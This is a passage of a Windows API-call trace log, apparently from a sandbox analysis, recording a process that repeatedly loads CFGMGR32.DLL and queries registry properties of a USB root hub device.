malloc (_Size=0x48) returned 0x20abc27cf80 [0239.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4a5ede45, dwHighDateTime=0x1d9eb0c)) [0239.254] SetEvent (hEvent=0x248) returned 1 [0239.329] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.329] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.330] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.330] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.330] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.330] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.330] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.330] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.333] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.333] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.333] malloc (_Size=0x18) returned 0x20abc281b20 [0239.333] CM_Get_Device_IDA (in: dnDevInst=0x2d, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="USB\\ROOT_HUB20\\4&9C1D5B7&0") returned 0x0 [0239.334] malloc (_Size=0x48) returned 0x20abc27cf80 [0239.334] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x4a6ac3bc, dwHighDateTime=0x1d9eb0c)) [0239.334] SetEvent (hEvent=0x248) returned 1 [0239.376] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.377] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.378] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.378] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.378] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.378] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.378] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.378] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.379] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.380] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.380] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.380] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.380] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.380] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.380] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.381] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.381] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.381] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.381] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.381] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.382] malloc (_Size=0x18) returned 0x20abc281c60 [0239.382] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0239.383] malloc (_Size=0xac) returned 0x20abc286870 [0239.383] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8) returned 0x0 [0239.384] free (_Block=0x20abc286870) [0239.384] malloc (_Size=0x48) returned 0x20abc27cf80 [0239.384] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4a71ec3d, dwHighDateTime=0x1d9eb0c)) [0239.384] SetEvent (hEvent=0x248) returned 1 [0239.389] malloc (_Size=0x18) returned 0x20abc281e60 [0239.389] SafeArrayPutElement (psa=0x20abbaf1820, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0239.389] free (_Block=0x20abc281e60) [0239.389] malloc (_Size=0x18) returned 0x20abc281ba0 [0239.389] SafeArrayPutElement (psa=0x20abbaf1820, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0239.389] free (_Block=0x20abc281ba0) [0239.389] malloc (_Size=0x18) returned 0x20abc281d40 [0239.389] SafeArrayPutElement (psa=0x20abbaf1820, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0239.389] free (_Block=0x20abc281d40) [0239.389] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d370 [0239.390] SafeArrayGetDim (psa=0x20abbaf1820) returned 0x1 [0239.390] SafeArrayGetLBound (in: psa=0x20abbaf1820, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0239.390] SafeArrayGetUBound (in: psa=0x20abbaf1820, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0239.390] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0239.390] SafeArrayGetDim (psa=0x20abbaf1820) returned 0x1 [0239.390] SafeArrayGetUBound (in: psa=0x20abbaf1820, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0239.390] SafeArrayGetElemsize (psa=0x20abbaf1820) returned 0x8 [0239.390] SafeArrayGetElement (in: psa=0x20abbaf1820, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0239.391] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93630, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0239.391] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93638, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0239.391] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93640, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0239.392] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0239.392] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d370) returned 1 [0239.394] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.394] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.397] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.397] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.397] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.397] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.397] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.397] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.398] malloc (_Size=0x18) returned 0x20abc281a80 [0239.398] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0239.399] malloc (_Size=0x48) returned 0x20abc27cf80 [0239.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4a745466, dwHighDateTime=0x1d9eb0c)) [0239.399] SetEvent (hEvent=0x248) returned 1 [0239.404] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.404] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.404] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.404] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.404] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.405] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.405] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.405] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.405] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.405] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.405] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.408] malloc (_Size=0x18) returned 0x20abc281fc0 [0239.408] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0239.412] malloc (_Size=0x48) returned 0x20abc27cf80 [0239.413] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4a76b4af, dwHighDateTime=0x1d9eb0c)) [0239.413] SetEvent (hEvent=0x248) returned 1 [0239.485] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.485] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.487] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.487] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.487] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.487] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.487] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.487] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.488] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.488] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.488] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.488] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.488] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.488] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.489] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.489] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.489] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.489] malloc (_Size=0x18) returned 0x20abc281bc0 [0239.490] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0239.490] malloc (_Size=0x48) returned 0x20abc27cf80 [0239.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4a829d4e, dwHighDateTime=0x1d9eb0c)) [0239.491] SetEvent (hEvent=0x248) returned 1 [0239.495] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.496] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.496] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.496] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.496] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.496] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.496] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.497] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.497] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.497] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.497] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.497] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.497] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.497] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.498] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.498] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.498] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.498] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.498] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.498] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.498] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.499] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.499] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.499] malloc (_Size=0x18) returned 0x20abc281e60 [0239.499] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0239.500] malloc (_Size=0x48) returned 0x20abc27cf80 [0239.500] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4a84feda, dwHighDateTime=0x1d9eb0c)) [0239.500] SetEvent (hEvent=0x248) returned 1 [0239.504] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.504] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.504] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.505] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.505] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.505] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.505] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.505] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.505] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.505] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.507] malloc (_Size=0x18) returned 0x20abc281bc0 [0239.508] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0239.508] malloc (_Size=0x48) returned 0x20abc27cf80 [0239.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4a84feda, dwHighDateTime=0x1d9eb0c)) [0239.509] SetEvent (hEvent=0x248) returned 1 [0239.514] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.514] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.515] GetProcAddress 